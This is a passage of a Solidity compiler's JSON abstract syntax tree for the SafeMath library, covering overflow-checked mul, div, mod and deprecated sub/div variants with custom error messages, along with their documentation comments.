:false,"id":299,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":313,"src":"3194:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":298,"name":"uint256","nodeType":"ElementaryTypeName","src":"3194:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"3193:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":347,"nodeType":"FunctionDefinition","src":"3538:215:1","nodes":[],"body":{"id":346,"nodeType":"Block","src":"3605:148:1","nodes":[],"statements":[{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":325,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":323,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":316,"src":"3619:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"hexValue":"30","id":324,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3624:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3619:6:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":328,"nodeType":"IfStatement","src":"3615:20:1","trueBody":{"expression":{"argumentTypes":null,"hexValue":"30","id":326,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3634:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"functionReturnParameters":322,"id":327,"nodeType":"Return","src":"3627:8:1"}},{"assignments":[330],"declarations":[{"constant":false,"id":330,"mutability":"mutable","name":"c","nodeType":"VariableDeclaration","overrides":null,"scope":346,"src":"3645:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":329,"name":"uint256","nodeType":"ElementaryTypeName","src":"3645:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"id":334,"initialValue":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":331,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":316,"src":"3657:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"argumentTypes":null,"id":332,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":318,"src":"3661:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3657:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"3645:17:1"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":340,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":338,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":336,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":330,"src":"3680:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"argumentTypes":null,"id":337,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":316,"src":"3684:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3680:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"id":339,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":318,"src":"3689:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3680:10:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77","id":341,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3692:35:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_9113bb53c2876a3805b2c9242029423fc540a728243ce887ab24c82cf119fba3","typeString":"literal_string \"SafeMath: multiplication overflow\""},"value":"SafeMath: multiplication overflow"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_9113bb53c2876a3805b2c9242029423fc540a728243ce887ab24c82cf119fba3","typeString":"literal_string \"SafeMath: multiplication overflow\""}],"id":335,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3672:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3672:56:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":343,"nodeType":"ExpressionStatement","src":"3672:56:1"},{"expression":{"argumentTypes":null,"id":344,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":330,"src":"3745:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":322,"id":345,"nodeType":"Return","src":"3738:8:1"}]},"documentation":{"id":314,"nodeType":"StructuredDocumentation","src":"3297:236:1","text":" @dev Returns the multiplication of two unsigned integers, reverting on\n overflow.\n Counterpart to Solidity's `*` operator.\n Requirements:\n - Multiplication cannot overflow."},"implemented":true,"kind":"function","modifiers":[],"name":"mul","overrides":null,"parameters":{"id":319,"nodeType":"ParameterList","parameters":[{"constant":false,"id":316,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":347,"src":"3551:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":315,"name":"uint256","nodeType":"ElementaryTypeName","src":"3551:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":318,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":347,"src":"3562:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":317,"name":"uint256","nodeType":"ElementaryTypeName","src":"3562:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"3550:22:1"},"returnParameters":{"id":322,"nodeType":"ParameterList","parameters":[{"constant":false,"id":321,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":347,"src":"3596:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":320,"name":"uint256","nodeType":"ElementaryTypeName","src":"3596:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"3595:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":369,"nodeType":"FunctionDefinition","src":"4217:150:1","nodes":[],"body":{"id":368,"nodeType":"Block","src":"4284:83:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":360,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":358,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":352,"src":"4302:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":359,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4306:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"4302:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"536166654d6174683a206469766973696f6e206279207a65726f","id":361,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4309:28:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_5b7cc70dda4dc2143e5adb63bd5d1f349504f461dbdfd9bc76fac1f8ca6d019f","typeString":"literal_string \"SafeMath: division by zero\""},"value":"SafeMath: division by zero"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5b7cc70dda4dc2143e5adb63bd5d1f349504f461dbdfd9bc76fac1f8ca6d019f","typeString":"literal_string \"SafeMath: division by zero\""}],"id":357,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4294:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"4294:44:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":363,"nodeType":"ExpressionStatement","src":"4294:44:1"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":366,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":364,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":350,"src":"4355:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"argumentTypes":null,"id":365,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":352,"src":"4359:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4355:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":356,"id":367,"nodeType":"Return","src":"4348:12:1"}]},"documentation":{"id":348,"nodeType":"StructuredDocumentation","src":"3759:453:1","text":" @dev Returns the integer division of two unsigned integers, reverting on\n division by zero. The result is rounded towards zero.\n Counterpart to Solidity's `/` operator. Note: this function uses a\n `revert` opcode (which leaves remaining gas untouched) while Solidity\n uses an invalid opcode to revert (consuming all remaining gas).\n Requirements:\n - The divisor cannot be zero."},"implemented":true,"kind":"function","modifiers":[],"name":"div","overrides":null,"parameters":{"id":353,"nodeType":"ParameterList","parameters":[{"constant":false,"id":350,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":369,"src":"4230:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":349,"name":"uint256","nodeType":"ElementaryTypeName","src":"4230:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":352,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":369,"src":"4241:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":351,"name":"uint256","nodeType":"ElementaryTypeName","src":"4241:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"4229:22:1"},"returnParameters":{"id":356,"nodeType":"ParameterList","parameters":[{"constant":false,"id":355,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":369,"src":"4275:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":354,"name":"uint256","nodeType":"ElementaryTypeName","src":"4275:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"4274:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":391,"nodeType":"FunctionDefinition","src":"4820:148:1","nodes":[],"body":{"id":390,"nodeType":"Block","src":"4887:81:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":382,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":380,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":374,"src":"4905:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4909:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"4905:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"536166654d6174683a206d6f64756c6f206279207a65726f","id":383,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4912:26:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_726e51f7b81fce0a68f5f214f445e275313b20b1633f08ce954ee39abf8d7832","typeString":"literal_string \"SafeMath: modulo by zero\""},"value":"SafeMath: modulo by zero"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_726e51f7b81fce0a68f5f214f445e275313b20b1633f08ce954ee39abf8d7832","typeString":"literal_string \"SafeMath: modulo by zero\""}],"id":379,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4897:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":384,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"4897:42:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":385,"nodeType":"ExpressionStatement","src":"4897:42:1"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":388,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":386,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":372,"src":"4956:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"%","rightExpression":{"argumentTypes":null,"id":387,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":374,"src":"4960:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4956:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":378,"id":389,"nodeType":"Return","src":"4949:12:1"}]},"documentation":{"id":370,"nodeType":"StructuredDocumentation","src":"4373:442:1","text":" @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n reverting when dividing by zero.\n Counterpart to Solidity's `%` operator. This function uses a `revert`\n opcode (which leaves remaining gas untouched) while Solidity uses an\n invalid opcode to revert (consuming all remaining gas).\n Requirements:\n - The divisor cannot be zero."},"implemented":true,"kind":"function","modifiers":[],"name":"mod","overrides":null,"parameters":{"id":375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":372,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":391,"src":"4833:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":371,"name":"uint256","nodeType":"ElementaryTypeName","src":"4833:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":374,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":391,"src":"4844:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":373,"name":"uint256","nodeType":"ElementaryTypeName","src":"4844:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"4832:22:1"},"returnParameters":{"id":378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":377,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":391,"src":"4878:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":376,"name":"uint256","nodeType":"ElementaryTypeName","src":"4878:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"4877:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":415,"nodeType":"FunctionDefinition","src":"5432:163:1","nodes":[],"body":{"id":414,"nodeType":"Block","src":"5527:68:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":406,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":404,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":396,"src":"5545:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"argumentTypes":null,"id":405,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":394,"src":"5550:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5545:6:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"id":407,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":398,"src":"5553:12:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":403,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5537:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"5537:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":409,"nodeType":"ExpressionStatement","src":"5537:29:1"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":412,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":410,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":394,"src":"5583:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"argumentTypes":null,"id":411,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":396,"src":"5587:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"5583:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":402,"id":413,"nodeType":"Return","src":"5576:12:1"}]},"documentation":{"id":392,"nodeType":"StructuredDocumentation","src":"4974:453:1","text":" @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n overflow (when the result is negative).\n CAUTION: This function is deprecated because it requires allocating memory for the error\n message unnecessarily. For custom revert reasons use {trySub}.\n Counterpart to Solidity's `-` operator.\n Requirements:\n - Subtraction cannot overflow."},"implemented":true,"kind":"function","modifiers":[],"name":"sub","overrides":null,"parameters":{"id":399,"nodeType":"ParameterList","parameters":[{"constant":false,"id":394,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":415,"src":"5445:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":393,"name":"uint256","nodeType":"ElementaryTypeName","src":"5445:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":396,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":415,"src":"5456:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":395,"name":"uint256","nodeType":"ElementaryTypeName","src":"5456:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":398,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":415,"src":"5467:26:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":397,"name":"string","nodeType":"ElementaryTypeName","src":"5467:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"5444:50:1"},"returnParameters":{"id":402,"nodeType":"ParameterList","parameters":[{"constant":false,"id":401,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":415,"src":"5518:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":400,"name":"uint256","nodeType":"ElementaryTypeName","src":"5518:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"5517:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":439,"nodeType":"FunctionDefinition","src":"6252:162:1","nodes":[],"body":{"id":438,"nodeType":"Block","src":"6347:67:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":430,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":428,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":420,"src":"6365:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":429,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6369:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"6365:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"id":431,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":422,"src":"6372:12:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":427,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6357:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":432,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"6357:28:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":433,"nodeType":"ExpressionStatement","src":"6357:28:1"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":436,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":434,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":418,"src":"6402:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"argumentTypes":null,"id":435,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":420,"src":"6406:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"6402:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":426,"id":437,"nodeType":"Return","src":"6395:12:1"}]},"documentation":{"id":416,"nodeType":"StructuredDocumentation","src":"5601:646:1","text":" @dev Returns the integer division of two unsigned integers, reverting with custom message on\n division by zero. The result is rounded towards zero.\n CAUTION: This function is deprecated because it requires allocating memory for the error\n message unnecessarily. For custom revert reasons use {tryDiv}.\n Counterpart to Solidity's `/` operator. Note: this function uses a\n `revert` opcode (which leaves remaining gas untouched) while Solidity\n uses an invalid opcode to revert (consuming all remaining gas).\n Requirements:\n - The divisor cannot be zero."},"implemented":true,"kind":"function","modifiers":[],"name":"div","overrides":null,"parameters":{"id":423,"nodeType":"ParameterList","parameters":[{"constant":false,"id":418,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":439,"src":"6265:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":417,"name":"uint256","nodeType":"ElementaryTypeName","src":"6265:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":420,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":439,"src":"6276:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":419,"name":"uint256","nodeType":"ElementaryTypeName","src":"6276:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":422,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":439,"src":"6287:26:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":421,"name":"string","nodeType":"ElementaryTypeName","src":"6287:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"6264:50:1"},"returnParameters":{"id":426,"nodeType":"ParameterList","parameters":[{"constant":false,"id":425,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":439,"src":"6338:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":424,"name":"uint256","nodeType":"ElementaryTypeName","src":"6338:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"6337:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":463,"nodeType":"FunctionDefinition","src":"7060:162:1","nodes":[],"body":{"id":462,"nodeType":"Block","src":"7155:67:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":454,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":452,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":444,"src":"7173:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"argumentTypes":null,"hexValue":"30","id":453,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7177:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7173:5:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"id":455,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":446,"src":"7180:12:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 